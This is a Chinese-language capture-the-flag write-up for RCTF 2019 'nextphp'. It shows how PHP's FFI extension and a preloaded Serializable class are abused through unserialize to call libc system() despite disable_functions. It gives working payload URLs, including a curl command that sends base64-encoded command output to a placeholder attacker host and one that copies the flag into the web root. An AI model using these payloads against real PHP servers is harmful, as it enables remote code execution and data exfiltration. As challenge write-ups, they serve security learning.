2019RCTF-nextphp wp

首先题目给出了源码:

1
2
3
4
5
6
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}

首先就想着用系统函数执行命令,但是被ban了的,那么查看phpinfo,发现以下信息:

1.PHP Version 7.4.0-dev

2.disable_functions:

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

3.open_basedir:/var/www/html

4.FFI support enabled

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。使用FFI只需声明和调用这两步;要求 PHP 7.3+

尝试获取当前目录下文件:

a=print_r(scandir('.'));

存在preload.php,读取其内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

public function __set ($key, $value) {
throw new \Exception('No implemented');
}

public function __construct () {
throw new \Exception('No implemented');
}
}

写这样的一个类在当前目录肯定是有用的:PHP7.4增加了预加载支持,可在服务器启动时执行;预加载配置可在php.ini中得到:

opcache.preload       /var/www/html/preload.php

结合FFI,可以利用反序列化来getshell

官网上的一个FFI例子:

1
2
3
4
5
6
7
8
<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
"int printf(const char *format, ...);", // this is a regular C declaration
"libc.so.6");
// call C's printf()
$ffi->printf("Hello %s!\n", "world");
?>

其使用了printf函数,其声明为int printf(const char *format, ...);;查找system函数的函数声明:

int system(const char* command);

构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
final class A implements Serializable
{
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => "int system (const char* command);"
];

private function run()
{
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function serialize()
{
return serialize($this->data);
}

public function unserialize($payload)
{
$this->data = unserialize($payload);
$this->run();
}
}

$a = new A();
echo serialize($a);

得到:

C:1:"A":96:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:33:"int system (const char* command);";}}

执行系统命令:

?a=$a=unserialize('C:1:"A":96:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:33:"int system (const char* command);";}}');var_dump($a->ret->system('ls'));

发现其执行成功返回0,那么将执行结果打到vps上:

?a=$a=unserialize('C:1:"A":96:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:33:"int system (const char* command);";}}');var_dump($a->ret->system('curl xxx:666/`ls /|base64`'));

或者直接写入到网站根目录的一个文件内:

?a=$a=unserialize('C:1:"A":96:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:33:"int system (const char* command);";}}');var_dump($a->ret->system('cat /flag > a'));